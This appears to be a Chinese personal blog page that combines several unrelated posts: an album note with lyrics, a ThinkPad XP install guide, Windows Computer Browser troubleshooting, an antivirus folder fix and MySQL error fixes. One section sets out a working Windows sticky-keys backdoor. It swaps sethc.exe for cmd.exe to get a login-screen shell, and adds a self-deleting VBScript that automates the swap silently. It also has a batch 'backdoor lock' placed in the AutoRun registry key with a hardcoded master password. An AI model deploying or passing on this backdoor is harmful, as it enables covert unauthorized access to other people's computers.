亮的MARK库

mark.liangliang.org.cn

风靡一时的朋克新浪潮乐队The Cars的第一张专辑,也是乐队最有代表性的作品,甚至乐队成员都开玩笑说,应该把这张专辑叫做The Cars精选集才对。专辑中大量使用的合成器配乐非常动听,专辑中有许多热门歌曲,比如”Just What I Needed” 就成为Circuit City音像店的招牌广告曲目。

本专辑在滚石杂志评出的500张历代最强专辑中排名第282位。

曲目 · · · · · ·

1. Good Times Roll

2. My Best Friend’s Girl

3. Just What I Needed

4. I’m In Touch With Your World

5. Don’t Cha Stop

6. You’re All I’ve Got Tonight

7. Bye Bye Love

8. Moving In Stereo

9. All Mixed Up drive

Who’s gonna tell you when it’s too late 谁会告诉你当一切都已经太迟 Who’s gonna tell you things are’t so great 谁会告诉你曾经期待的并没什么 You can’t go on thinking nothing’s wrong 你不能再自欺欺人 Who’s gonna drive you home tonignt 谁会载你回家 ,今夜 Who’s gonna pick you up when you fall 谁会搭你下一程 Who’s gonna hang it up when you call 谁会挂断你的电话 Who’s gonna pay attention to your dreams 谁会关注你的梦 and who’s gonna plug your ears when you scream 谁会堵上你的耳朵当你叫喊 You can’s go on thinking nothnig’s wrong 你不能再自欺欺人 Who’s gonna drive you home tonight 谁会载你回家 ,今夜

Who’s gonna hold you down when you shake 谁会抱紧你当你颤抖 Who’s gonna come aroud when you break 谁会回到你身边当你心已碎 You can’t go on thinking nothing’s wrong 你不能再自欺欺人

Who’s gonna drive you home tonignt 谁会载你回家 ,今夜

来自亮亮的音乐收藏

http://www.liangliang.org.cn/mymusic/drive.mp3

在windows 2000/xp/vista下,按shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到WINDOWS的屏保,将程序替换成cmd.exe后,就可以打开shell了。

参考McafeeAvertLabs: http://feeds.feedburner.com/~r/McafeeAvertLabsBlog/~3/101149799/

XP: 将安装源光盘弹出(或将硬盘上的安装目录改名) cd %widnir%\system32\dllcache ren sethc.exe *.ex~ cd %widnir%\system32 copy /y cmd.exe sethc.exe

VISTA: takeown /f c:\windows\system32\sethc.exe cacls c:\windows\system32\sethc.exe /G administrator:F 然后按XP方法替换文件

在登录界面按5此SHIFT,出来cmd shell,然后……

后门扩展:

转至:7j blog http://1v1.name/show-241-1.html#cm300

再更新一下 Dim obj, success Set obj = CreateObject(“WScript.Shell”) success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe”, 0, True) success = obj.run(“cmd /c echo y cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F”, 0, True) success = obj.run(“cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe”, 0, True) success = obj.run(“cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe”, 0, True) success = obj.run(“cmd /c del %SystemRoot%\system32\sethc.exe”, 0, True) success = obj.run(“cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)

第二句最有意思了.嘿嘿..自动应答….以前就遇到过类似的问题

再更新.加个自删除,简化代码… On Error Resume Next Dim obj, success Set obj = CreateObject(“WScript.Shell”) success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True) CreateObject(“Scripting.FileSystemObject”).DeleteFile(WScript.ScriptName)

allyesno注:对付文件保护的办法还可以参照我的文章 cut wfp ‘s jj easily

https://www.xfocus.net/bbs/index.php?act=SE&f=2&t=58099&p=269293

后门锁扩展:

allyesno注:可以采用cmd 锁 来进行cmdshell的密码验证 嘿嘿。。。

用下面的后门锁的方法是 把代码保存为bdlock.bat

然后修改注册表位置即可

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor] “AutoRun”=”bdlock.bat”

@Echo Off title 后门登陆验证 color a cls set temprandom=%RANDOM% echo 请输入验证码:%temprandom% set/p check= if “%check%”==”%temprandom%%temprandom%” goto passcheck if “%check%”==”%temprandom%” ( rem 后门服务器验证 rem 如果没有后门验证服务器请rem注释掉下一行代码 if exist \192.168.8.8\backdoor$\pass goto passcheck ) echo 验证失败 pause exit :passcheck echo 验证成功 If “%passcmdlock%”==”http://blog.csdn.net/freexploit/“ Goto endx Set passcmdlock=http://blog.csdn.net/freexploit/ :allyesno Set Errorlevel=>nul Echo 请输入验证密码? Set password=allyesno Is a pig>nul Set/p password= rem 万能密码 if “%password%”==”allyesno is a sb” goto endx If %time:1,1%==0 Set timechange=a If %time:1,1%==1 Set timechange=b If %time:1,1%==2 Set timechange=c If %time:1,1%==3 Set timechange=d If %time:1,1%==4 Set timechange=e If %time:1,1%==5 Set timechange=f If %time:1,1%==6 Set timechange=g If %time:1,1%==7 Set timechange=h If %time:1,1%==8 Set timechange=i If %time:1,1%==9 Set timechange=j set/a sum=%time:1,1%+%time:1,1% Set passwordfindstr “^password=%timechange%%time:1,1%%date:8,2%%sum%$”>nul If “%errorlevel%”==”0” cls&Echo 口令正确&Goto End Echo 请联系瑞星客服咨询正确密码!&Goto allyesno :End Set password=>nul Set Errorlevel=>nul Echo 很好,很和谐! :endx

MFC42.DLL文件夹引起杀毒软件初始化(0xc00000ba)失败的解决办法 电脑里出现了MFC42.DLL文件夹,杀毒软件出问题,360安全卫士没法正常运行,mfc42.dll是微软Microsoft MFC程序库文件,被病毒制作成一个文件夹放在杀毒软件执行文件夹下,导致杀毒软件出现初始化(0xc00000ba)失败错误,同时该文件夹下放置了一个长文件名文件夹,防止mfc42.dll文件夹被用户删除,先提供下面两种可行的解决办法:

一、使用Unlocker工具。 下载地址如下: http://bbs.syschina.cn/thread-18337-1-1.html 方法如下: 安装Unlocker工具 找到mfc42.dll文件夹 选中文件夹,右键,点unlocker 在弹出窗口中选中所有锁定程序(如果弹出窗口显示无异常,请直接进行下一步)

在左下角下拉菜单中选择“删除”(在无异常状态下,你可能要重复几次这步操作) 最后点击窗口右下角“解锁”按钮(如果是无异常,将不会有这一步的存在) 系统提示出错,但同时提示“该文件已被放入回收站”(可能会没有提示,只要以下事情出现就说明你清除那该死的东西了) 检查目录,mfc42.dll文件夹已经被成功删除。重启后,该文件夹没有再出现,用360扫描一下,也没有再扫到威胁。

二、用自建批处理文件删除瑞星 江民 卡巴 360文件夹下的MFC42.DLL 方法: 新建一个记事本文件, 输入如下字符DEL /F /A /Q \\?\%1 RD /S /Q \\?\%1 保存为1.bat文件 将要删除的MFC42.DLL文件或者文件夹,用鼠标左键拖放到1.bat的文件图标上(就像把文件拖到文件夹里的操作一样),一个CMD窗口闪烁之后伪”MFC42.DLL”文件夹就被删除了 近来出现的打开IE或者我的电脑杀毒软件监控就关闭和按照原来的方法无法解决杀毒软件应用程序正常初始化(0xc00000ba)失败的现象也是由于此病毒引起,所以可按此法一并解决

X60/T60安装OS指导!!

本来安装OS是件简单事儿,但因为X60/T60的硬盘是SATA的,所以又不太简单!不想用随机盘恢复的本友请详见下述:

1、问题产生的根源: WinXp虽然主流,但也是几年前的产物了,相对于SATA这个新生事物,有点欺生:)。打个比方,就好比要往SCSi硬盘上装WinXP,需要在第一屏“使用第三方SCSI驱动,请按F6”时,按F6,然后用SCSI厂商提供的软盘安装驱动,然后继续安装。然而,很显然,有SATA盘的本本都没有软驱。

2、下面说解决方案: a)有USB软驱,没说的,下载附件中的驱动,解压后,拷到软盘里,在安装时F6装上,剩下的和正常安装同样。

b)也是大家常见的情况:没有软驱,步骤如下:

i)在启动时F1进Bios-〉Serial ATA-〉将硬盘模式从AHCI(高级接口模式,支持SATA的150M传输率)改为:Compatibility(兼容模式,模拟传统的IDE硬盘) ii)用Xp安装盘正常安装,完成安装后,请先使用附件驱动安装SATA的驱动。把驱动解压到c:\drv\sata下,在c:\drv\sata\PREPARE下执行install.cmd,系统安装完后自动重启。 iii)重启后进Bios,将Serial ATA模式改回AHCI,正常进系统,会报告发现新硬件,不使用自动安装,手工把搜索路径指向c:\drv\sata,系统会自动完成安装,正确安装后,SATA在设备管理器中将显示为:Intel(R) 82801 GBM SATA AHCI Controller (Mobile ICH7M),至此,WinXP就可以正常用SATA告诉模式启动了 iiii)对于X60,因为没有光驱,强烈建议先用工具盘引导用PQ把分区做好,并把安装文件拷到硬盘下,然后用98盘引导,进入Win的目录,执行XX\i386\winnt,剩下的过程同T60 iiiii)强烈建议做好干净的OS后留一个Ghost备份!

最后,转一下帖子,关于T60的驱动问题。

a、由于T60使用了HD Audio声卡,看起来能够使音质得到一个提升的东西(好像用那两个小喇叭听确实说得过去)。但是在安装过程中,总会遇到报错:“需要 HD Audio总线驱动程序,但是没有找到”; 这里需要一个Windows的系统补丁KB888111,在安装声卡驱动之前,先打上相应的补丁(2000、XP SP1、XP SP2、2003均不同),然后系统会告诉你发现新硬件,这里还可以附带安装Modem的驱动,它好像也要HD Audio的总线驱动才能安装。

b、安装显卡驱动之前要装好Microsoft .NET Framework 2.0,否则显卡驱动安装不正常。表现在看起来装好了,但是重新启动之后就会报错:“.cli.exe 应用程序错误”。如果在MSConfig中取消它的启动,只能从表面解决问题。关键是要安装Microsoft .NET Framework 2.0后再安装显卡驱动。—-这是因为Ati的控制中心要求的要.net估计是IBM的驱动没有像Ati那样集成进去。

附件: ibm-sata.rar (2006-7-24 18:18, 180.8 K)

补充一点,关于IBM T60 X60的系统安装指南

联想在新一代的Thinkpad 6系列中采用的SATA硬盘,并在bios里面将sata的模式默认设置为AHCI,导致用户自行安装操作系统的时候出现硬件无响应,蓝屏,安装失败,但我们并不是没有办法给自己的本本重新安装操作系统,以下文字摘自IBM官方网站的文档,本人加以翻译,不对产生的任何问题负责 ------------------------------------ 从说明文档里我们能看到两种安装方式:

第一种是clean install, 1. Attach a diskette drive to your computer. 1,将一张软盘插入系统软驱(可以用双起U盘实现) 2. Download Intel Matrix Storage Manager Driver from the Web site and extract the driver to C:\DRIVERS\WIN\SATA and copy the driver to a diskette. 2,下载Intel Matrix Storage Manager Driver并把其解压到 C:\DRIVERS\WIN\SATA (其实任意地方都行),然后把它拷贝到软盘里。 3. To make sure that SATA AHCI is enabled, start the BIOS Setup Utility menu. 4. Select “Config”. 5. Select “Serial ATA (SATA)”. 6. Select “AHCI”. 3、4、5、6是告诉大家如何把SATA设置成AHCI模式,这个机器默认就是这样的,基本可以跳过 7. Change the startup sequence of your computer. Following the instructions on the Startup menu in the BIOS Setup Utility, set the CD-ROM drive to start first. 7,改变启动顺序,光驱第一(这么做的目的是为了从光盘装系统,如果是从硬盘装就不用了) 8. Insert the CD for Windows XP into the CD or DVD drive, and restart the computer. 8,插入Xp安装盘并重启 9. To install a third-party SCSI or RAID driver first, press F6. 9,“安装第三方SCSI或RAID驱动,请按F6 10. When prompted, select S for Specify Additional Device. 10,当安装界面出现,选S表示Specify Additional Device 11. When prompted, insert the diskette that you created in step 2, and press Enter. 11,然后插入你刚才拷贝了驱动程序的软盘 12. Select “Intel(R) 82801 GBM SATA AHCI Controller (Mobile ICH7M)”, and press Enter. 12,选择Intel(R) 82801 GBM SATA AHCI Controller (Mobile ICH7M,按enter 13. To continue the installation, press Enter again. Leave the diskette in the drive until the next reboot; the software may need to be copied from the diskette again when the files are copied during setup. 13,再按一次enter进行继续安装,不要拿出软盘 14. Follow the instruction to complete the OS installation. 14,继续正常安装操作系统

第二种方法是针对没有软盘驱动器的用户,官方文档说明如下 If you do not have a diskette drive, you can install Intel Matrix Storage Manager Driver by the following alternative procedure: 如果你没有软驱,你可以按照下面的方法安装 Intel Matrix Storage Manager Driver Note: If you select AHCI for Serial ATA (SATA) in the BIOS Setup Utility before installing Intel Matrix Storage Manager Driver, your computer will not respond; it will only display a blue screen. 注意:如果你把SATA选成了AHCI模式,那么当你安装 Intel Matrix Storage Manager Driver 之前系统会没有反应,蓝屏 1. Start the BIOS Setup Utility menu. 2. Select “Config”. 3. Select “Serial ATA (SATA)”. 4. Select “Compatibility”. 1~4,就是开机,按F1进bios,然后把SATA选成compatibility模式。 5. Install Windows XP and Service Pack 2. 5,正常安装windows xp 6. Download Intel Matrix Storage Manager Driver from the Web site and extract the driver to C:\DRIVERS\WIN\SATA. 6,下载 Intel Matrix Storage Manager Driver 并解压到C:\DRIVERS\WIN\SATA 7. Run Intel Matrix Storage Manager Driver. To do this, go to C:\DRIVERS\WIN\SATA\PREPARE, and double-click install.cmd. 7,运行C:\DRIVERS\WIN\SATA\PREPARE中的install.cmd,安装Intel Matrix Storage Manager Driver 8. Turn the computer off and then on again. 8,重启 9. Start the BIOS Setup Utility menu. 10. Select “Config”. 11. Select “Serial ATA (SATA)”. 12. Select “AHCI”. 9~12,进入bios把sata模式改回AHCI 13. Start Windows XP. The Welcome to the Found New Hardware Wizard appears. 14. Click “No, not this time”, and then click “Next”. 15. Select Install from a list or specific location (Advanced), and then click Next. 16. Select “Search for the best driver in these locations”. Then select “Include this location in the search:”, specify the path, C:\DRIVERS\WIN\SATA, and click “Next”. The Completing the Found New Hardware Wizard appears. 17. Click “Finish”. 18. When the System Settings Change window appears, click “Yes”. The computer restarts. 13~18,进入操作系统,发现新硬件,指向C:\DRIVERS\WIN\SATA完成驱动程序的安装

Windows的Computer Browser服务维护着一个网络资源的清单,其中包括基于Windows的域、工作组和计算机,还有其他支持NetBIOS协议的网络设备,“网上邻居”显示的内容正是来源于此。在基于Windows 2000的网络中,活动目录(Active Directory,AD)取代了Computer Browser服务。但是,如果网络由Win2K和Win NT混合构成,且包含非Win2K的域控制器,或者网络上某些客户端不支持AD,Computer Browser服务仍是必不可少的。

在运行Computer Browser的环境中,IP网络的域的主浏览器与网段的主浏览器交互,借助NetBIOS名称解析和几个特殊的NetBIOS名称,装配出成员机器和设备的列表。要顺利解决Computer Browser服务运行中出现的问题,就必须掌握必要的工具,熟悉应当采用怎样的步骤来检测故障。

一、诊断工具

微软提供了两个专门用来监视和检测浏览服务的工具:Browser Monitor(即browmon.exe),和Browser Status(browstat.exe)。应当注意的是,在多协议网络中,这两个工具都只报告本地机器支持的协议的浏览列表。

Browmon是一个GUI工具,Win NT 4.0和Win 2K的资源工具包都提供了这个工具。Browmon针对每一个要求监视的域,显示出各个协议的浏览子系统的状态,如图一所示。双击一种协议显示出图二的详细信息,包括主、后备浏览器的名称和每一个浏览器上域、服务器的清单。

browmon.gif

browmon2.gif

Browmon能够按照用户指定的间隔自动刷新浏览列表,利用Browmon可以快速找出域的主浏览器和后备浏览器。

Browstat比Browmon还要强大,除了显示浏览列表之外,它还能够强制执行选举和复位主浏览器。NT 4.0资源工具包提供了Browstat的一个早期版本,Win 2K资源工具包提供了Browstat的一个升级版本。两个版本的故障检测能力基本相同,但Win 2K的版本用起来方便一些。NT 4.0提供的Browstat要求在每一个命令中提供协议名称。协议名称可以通过Net Config Rdr命令获得。例如,假设在一台Win 2K Pro机器上执行Net Config Rdr命令的结果如图三所示,如果要用NT 4.0版本的Browstat显示出后备浏览器清单,应当执行:browstat gb NetBT_Tcpip_{4C8BA126-9BF4-476D-8BDB-3BB8548347B3}。(其中Gb即为Getblist,它是Browstat的一个子命令,用来提取后备浏览器的清单)。

browmon3.gif

Win2K版的Browstat有一个Dumpnet子命令,能够显示出协议名称并分别赋予一位数字的协议编号,所有Browstat其他子命令中的协议名称都可以用这个协议编号替代。例如,假设Browstat dumpnet命令赋予上述协议的编号是1,则提取后备浏览器清单时,只需执行Browstat gb 1就可以了,如图四。 browmon4.gif

二、配置要点

为了减少Computer Browser服务运行中可能出现的问题,建议按照如下规则进行配置。

㈠对于所有拥有一个以上适配器和IP地址的机器,把HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services Browser\Parameters\MaintainServerList注册子键设置成No,使得该机器不会获得任何浏览器角色(包括主浏览器、后备浏览器)。

㈡确定每一个网段中的哪些机器是主浏览器。在每一个网段中,选取一到二台服务器,把它的HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Browser\Parameters\IsDomainMaster注册子键设置成True。如果网段只有一台服务器,选取一到二台工作站作为浏览器,以防服务器关机。注意浏览器选举的决策过程:只有当网段中不存在服务器时,才会根据IsDomainMaster=True让工作站赢得浏览器选举。 ㈢确保每一个网段的主浏览器能够找到域的主浏览器——即,能够解析domain_name<1Bh> NetBIOS名称。网段主浏览器可以通过WINS系统或AD找到域的主浏览器。如果既没有WINS也没有AD,则应当为网段中每一个潜在的浏览器配置LMHOSTS文件。

假设域的NetBIOS名称是MYDOMAIN,PDC的NetBIOS名称是DC1,IP地址是192.168.0.1,LMHOSTS文件的内容如下所示: 引用内容 192.168.0.1 “MYDOMAIN \0x1B” #PRE 192.168.0.1 DC1 #PRE #DOM:MYDOMAIN

第一行内容显式地配置了domain_name<1Bh> NetBIOS名称解析方式。注意,域名(包含从第16个字符开始的十六进制值,中间用空格补足位数)必须用引号包围。第二行表示DC1是MYDOMAIN的DC,并要求生成一个MYDOMAIN<1Ch>的组纪录。准备好LMHOSTS文件后,执行nbtstat -R装入LMHOSTS文件,执行nbtstat -r显示验证修改结果。

三、排除故障

是否能够成功地浏览网络资源,依赖于一系列Windows基本网络子系统是否能够正确协作,因此也不存在放之四海而皆准的故障解决方案,具体的解决步骤应当根据症状表现确定,而且往往还依赖于对网络结构有一个正确、全面的了解。

尽管无法给出通用的解决方案,但我们可以讨论一种典型的情形:客户机的浏览列表中缺少一台或者多台计算机,或者缺少某个广播域的所有计算机。在排除故障过程中,一种行之有效的办法是按照系统的处理过程,逐步检查,直至找到故障点所在。所以,检查过程应当从丢失的计算机所在的广播域开始,最后到客户机广播域上的不完整浏览列表。

下面的检查过程假定已经对丢失的计算机进行了最基本的检查,包括它是否正在运行,网络连接是否有效。这个过程可以找出那个地方出了问题,确定了故障点之后就可以确定哪些项目必须进一步检查。在排除浏览故障的过程中,应注意故障的原因可能是名称解析失败,可能是由于一台或者多台计算机的HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\Hidden注册子键设置成了1,可能是由于网段的主浏览器无法接收到成员机器的通告,还可能是由于主浏览器和丢失的机器没有运行共同的传输协议。

检查操作最好在网段主浏览器所在广播域内的机器上进行,避免路由或WINS服务器可能对检查过程产生的影响。下面的检查步骤说明假定使用的是Win2K版的Browstat,协议编号2,域名MYDOMAIN,PDC的名称是DC1,网段主浏览器SERVER1,后备浏览器是BACKUP1。

(1)寻找丢失计算机的网段主浏览器,执行:browstat status。Browstat显示出网段主、后备浏览器的名称以及摘要的浏览列表。Browstat把domain_name<1Dh> NetBIOS名称解析成网段主浏览器的地址。网段主浏览器赢得选举之后,它的Computer Browser服务把domain_name<1dh>名称注册到NetBIOS,但不注册到WINS,确保广播名称解析会把该名称解析成本地网段主浏览器的IP地址。如果Browstat不能找到网段主浏览器,检查网段上是否至少有一台机器有作为浏览器的资格。然后,用下面的两种方法之一强制执行浏览器选举:其一,在丢失计算机的网段中,停止并重新启动DC(或一台HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Brows-er\Parameters\IsDomainMaster注册键设置成True的机器)的Computer Browser服务;其二,执行:browstat elect 2 mydomain。

(2)检查网段主浏览器浏览列表的完整性,执行:browstat view 2 \\server1。Browstat将从命令行指定的服务器提取浏览列表。浏览列表提供了每一个机器的服务代码:MBR表示主浏览器,PBR表示可能的浏览器,BBR表示后备浏览器。如果浏览列表只包含本地网段的机器,很可能网段主浏览器不能连接到域的主浏览器(即PDC),而这又可能是由于路由或其他网络连接问题,或名称解析失败。要确定网段的主浏览器是否能够获得PDC的名称,可以在网段主浏览器所在的机器上执行:browstat getpdc 2 mydomain。这个命令在指定传输端口上发出一个domain_name<1Bh>的NetBIOS名称解析请求。如果请求成功,它将返回PDC的名称。如果Browstat Getpdc命令不能返回PDC的名称,首先必须解决名称解析问题。处理这方面的问题已经超出了本文的范围,但请参见关于WINS的详细说明:http://www.microsoft.com/technet/prodtechnol/windows2000serv/reskit/tcpip/part2/tcpch07.asp。 为了提取对方的浏览列表,域的主浏览器和网段主浏览器必须能够解析对方的computer_name<00h>名称。为此,可以从网段主浏览器映射一个驱动器到域的主浏览器,验证两台机器能够解析对方的computer_name<00h>名称。如果本地网段主浏览器的列表缺少某台机器,可以用一个Browstat子命令强制本地网段的所有机器宣告自身:browstat forceannounce 2 mydomain。强制执行宣告之后,一定要等待一段时间,以便浏览列表传播到其他机器。

(3)检查域主浏览器的浏览列表的完整性,执行:browstat view 2 \\dc1。(注意DC1是域的主浏览器PDC的名称)。如果丢失的机器在它本地的网段浏览器的列表中可见,但在域主浏览器的列表中不可见,则应当检查步骤2的名称解析问题。

(4)确定客户网段的主浏览器,检查其浏览列表。如果域的主浏览器的浏览列表是完整的,则问题在客户机广播域或者客户机与域主浏览器通信过程中。按照步骤1和2的说明,确定客户机所在网段的主浏览器,检查其浏览列表。如果客户网段主浏览器的浏览列表不完整,按照步骤2的说明检查名称解析问题;如果列表完整,问题可能在网段的后备浏览器。

(5)确定客户网段的后备浏览器,检查它们的浏览列表。由于客户机可以从网段内的任意浏览器获取其浏览列表,后备浏览器如果存在问题,也可能导致客户机的浏览列表不完整。注意在同一个网段内,从主浏览器传播浏览列表的变化到后备浏览器,可能需要消耗多达12分钟的时间。利用Browmon或Browstat可以确定客户机广播域内的哪些机器是后备浏览器,然后比较后备浏览器当前的浏览列表。在Browmon中,图标中不带红点的浏览器属于后备浏览器。或者,执行Browstat的子命令browstat status,列出本地网段的每一个传输端口的后备浏览器。然后,对于每一个后备浏览器,执行browstat view 2 \\backup1检查各个浏览列表的完整性。如果后备浏览器的浏览列表不完整,通过映射一个从后备浏览器到网段主浏览器的驱动器,检查其解析segment_master_browser<00h>名称的能力。

从某种意义上来说,排除Computer Browser系统的故障是一种对综合技能的测验,需要对Windows网络子系统的全面理解。然而,只要经常实践,深入了解Windows网络的运行机制,再加上适当的工具,要诊断和排除Computer Browser故障应该不是什么难事。

 在万网上安装wordpress出现

WordPress database error: [Unknown system variable ‘NAMES’]

SET NAMES ‘utf8’ 在 wp-includes/wp-db.php 中找到

$this->dbh = @mysql_connect($dbhost, $dbuser, $dbpassword);

在下一删除

$this->query(“SET NAMES ‘utf8’”);

就OK了

一、Can’t connect to MySQL server on ‘localhost’ (10061) 翻译:不能连接到 localhost 上的mysql 分析:这说明“localhost”计算机是存在的,但在这台机器上却没提供MySQL服务。 需要启动这台机器上的MySQL服务 如果机子负载太高没空相应请求也会产生这个错误。 解决: 既然没有启动那就去启动这台机子的mysql。如果启动不成功,多数是因为你的my.ini配置的有问题。重新配置其即可。 如果觉得mysql负载异常,可以到mysql/bin 的目录下执行mysqladmin -uroot -p123 processlist来查看mysql当前的进程 二、Unknown MySQL Server Host ‘localhosadst’ (11001) 翻译:未知的MySQL服务器 localhosadst 分析:服务器 localhosasdst 不存在。或者根本无法连接 解决:仔细检查自己论坛下面的 ./config.inc.php 找到 $dbhost 重新设置为正确的mysql 服务器地址

三、Access denied for user: ‘roota@localhost’ (Using password: YES) 翻译:用户 roota 访问 localhost 被拒绝(没有允许通过) 分析:造成这个错误一般数据库用户名和密码相对mysql服务器不正确 解决:仔细检查自己论坛下面的 ./config.inc.php 找到 $dbuser $dbpw 核实后重新设置保存即可

四、Access denied for user: ‘red@localhost’ to database ‘newbbs’ 翻译:用户 red 在localhost 服务器上没有权限操作数据库newbbs 分析:这个提示和问题三是不同的。那个是在连接数据库的时候就被阻止了,而这个错误是在对数据库进行操作时引起的。比如在select update 等等。这个是因为该用户没有操作数据库相应的权力。比如select 这个操作在mysql.user.Select_priv里记录 Y 可以操作 N 不可以操作。 解决: 如果是自己的独立主机那么更新mysql.user 的相应用户记录,比如这里要更新的用户为red 。或者直接修改 ./config.inc.php 为其配置一个具有对数据库操作权限的用户 或者通过如下的命令来更新授权 grant all privileges on dbname.* to ‘user‘@’localhost’ identified by ‘password’ 提示:更新了mysql库中的记录一定要重启mysql服务器才能使更新生效 FLUSH PRIVILEGES; 五、No Database Selected 翻译:没有数据库被选择上 分析:产生的原因有两种 config.inc.php 里面$dbname设置的不对。致使数据库根本不存在,所以在 $db->select_db($dbname); 时返回了false 和上面问题四是一样的,数据库用户没有select权限,同样会导致这样的错误。当你发现config.inc.php的设置没有任何问题,但还是提示这个错误,那一定就是这种情况了。 解决:对症下药 打开config.inc.php 找到$dbname核实重新配置并保存 同问题四的解决方法 六、Can’t open file: ‘cdb_forums.MYI’. (errno: 145) 翻译:不能打开cdb_forums.MYI 分析: 服务器非正常关机,数据库所在空间已满,或一些其它未知的原因,对数据库表造成了损坏。 类unix 操作系统下直接将数据库文件拷贝移动会因为文件的属组的问题而产生这个错误 解决: 修复表即可,用phpmyadmin 或者 repair.php或者直接用命令修复 myisamchk -f ../data/newbbs/*.MYI 修改文件的属组 七、Got error 28 from table handler (Errno.: 1030) 翻译:读表头产生错误 分析:这个错误是由于数据库所在磁盘空间已满造成的。 解决:清理一下磁盘,腾出一些空间用来运转数据库八、Table ‘test.cdb_sessions’ doesn’t exist 翻译:xxxxx表不存在 分析:在执行sql语句时没有找到表,比如:SELECT * FROM cdb_members WHERE uid=’XX’ 这里如果表cdb_members不存在于$dbname库里,那么就会提示这个错误。具体可分为以下三种情况来讨论: 安装插件或者hack时修改了程序文件,而忘记了对数据库作相应的升级。 后台使用了不完全备份,导入数据时没有导入到已经安装了相应版本的论坛的数据库中。 程序文件和数据库不配套,比如d2.5的数据库配置给d4.1的程序来用肯定会出现这个错误。 解决:同样对症下药,不同的原因不同的处理方法。 仔细对照插件作者提供的安装说明,把遗漏的对数据库的操作补上,如果仍然不能解决问题,那么应该怀疑该插件的可用性了。去咨询一下插件作者,或者将其卸载。 利用Discuz! 论坛后台自带的数据库备份时,如果没有选择完全备份。那么在恢复的时候一定要恢复到一个相应版本Discuz!论坛的数据库上。例如:目前使用的论坛为 DZ4.1,数据库名为db4.1,在DZ4.1的后台使用标准备份,那么恢复的时候可以恢复到db4.1的这个库上,或者全新安装一个DZ4.1,之后 导入这些备份。 不要张冠李戴,多大的脚就穿多大的鞋。总之使得程序文件和数据库配套即可. 九、Unknown column ‘column_name’ in ‘field list’ 翻译:未知的字段名 column_name 分析:在执行sql语句是出现了指定表中没有的字段名称,就会出现这个错误。具体导致的原因可分为以下两种 安装插件或者hack时修改了程序文件,而忘记了对数据库作相应的升级。 程序文件和数据库不配套,比如d2.5的数据库配置给d4.1的程序来用肯定会出现这个错误。 解决:导致的原因和问题八的1和 3是相同的,所以解决方法也一样。 十、You have an error in your SQL syntax 翻译:有一个语法错误在你的sql中 分析:论坛标准的程序是没有sql语法错误的。所以造成这个错误的原因一般就两类 安装插件或擅自修改程序。 不同的数据库版本数据库导出导入,比如MySQL4.1的数据在导出的语句包含了MySQL4.0没有的功能,像字符集的设定,这时如果将这些sql导入到MySQL4.0的时候就会产生sql语法错误。 解决: 仔细检查看到底是哪里的错误,将其修正,实在不行就用标准程序把出错的程序替换。 在数据库备份的时候要留意,如果不打算倒入到其他版本的mysql中则不用特殊考虑,反之要特殊的设定。使用DZ4.1的后台数据备份,可以按照提示去设定想要的格式。独立主机的也可以在到处的时候将其导出为mysql4.0的格式。 mysqldump -uroot -p –default-character-set=latin1 –set-charset=gbk –skip-opt databse > test.sql 十一、Duplicate entry ‘xxx’ for key 1 翻译:插入 xxx 使索引1重复 分析:索引如果是primary unique这两两种,那么数据表的数据对应的这个字段就必须保证其每条记录的唯一性。否则就会产生这个错误。 一般发生在对数据库写操作的时候,例如Discuz!4.1论坛程序要求所有会员的用户名username必须唯一,即username 的索引是unique,这时如果强行往cdb_members表里插入一个已有的username的记录就会发上这个错误,或者将一条记录的 username更新为已有的一个username。 改变表结构的时候也有可能导致这个错误。例如 Discuz!4.0论坛的数据库中cdb_members.username 的索引类型是 index 这个时候是允许有相同username的记录存在的,在升级到4.1的时候,因为要将username的索引由原来的index变为unique。如果这 时cdb_members里存在有相同的username的记录,那么就会引发这个错误。 导出数据据时有时会因为一些原因(作者目前还不清楚)导致同一条记录被重复导出,那么这个备份数据在导入的时候出现这个错误是在所难免的了。 修改了auto_increment的值,致使“下一个 Autoindex”为一条已经存在的记录 解决:两种思路,一是破坏掉唯一性的索引。二是把重复的数据记录干掉,只保留一条。很显然第一种思路是不可取的。那么按照二的思路我们得出以下几种解决方法,对应上面的i ii iii 略 按照错误提示里的信息到数据库中将重复的记录删除,仅保留一条即可。之后继续执行升级操作。 这种情况发生的概率很小,可以用文本编辑器打开备份文档,查找重复的信息。将其多余的拿掉,仅保留一条即可。 查询出表中auto_increment最大的一条记录,设置auto_incerment比其大一即可。 十二、 Duplicate key name ‘xxx’ 翻译:索引名重复 分析:要创建的索引已经存在了,就会引发这个错误,这个错误多发生在升级的时候。可能是已经升级过的,重复升级引起的错误。也有可能是之前用户擅自加的索引,刚好与升级文件中的所以相同了。 解决:看看已经存在的索引和要添加的索引是否一样,一样的话可以跳过这条sql语句,如果不一样那么现删除已存在的所以,之后再执行。 十三、 Duplicate column name ‘xxx’ 翻译:字段名xxx重复 分析:添加的字段xxx已经存在,多发生在升级过程中,与问题十二的产生是一样的。 解决:看一下已经存在的字段是否和将要添加的字段属性完全相同,如果相同则可以跳过不执行这句sql,如果不一样则删除掉这个字段。之后继续执行升级程序。 十四、 Table ‘xxx’ already exists 翻译:数据表xxx已经存在 分析:xxx表已经存在于库中,再次试图创建这个名字的表就会引发这个错误。同样多发生在论坛的升级中。类似于问题十二。 解决:看看已经存在的表是否和将要创建的表完全一样,一样的话可以跳过不执行这个sql,否则请将存在的表先删除,之后继续执行升级文件。 十五、 Can’t create database ‘xxx’. Database exists 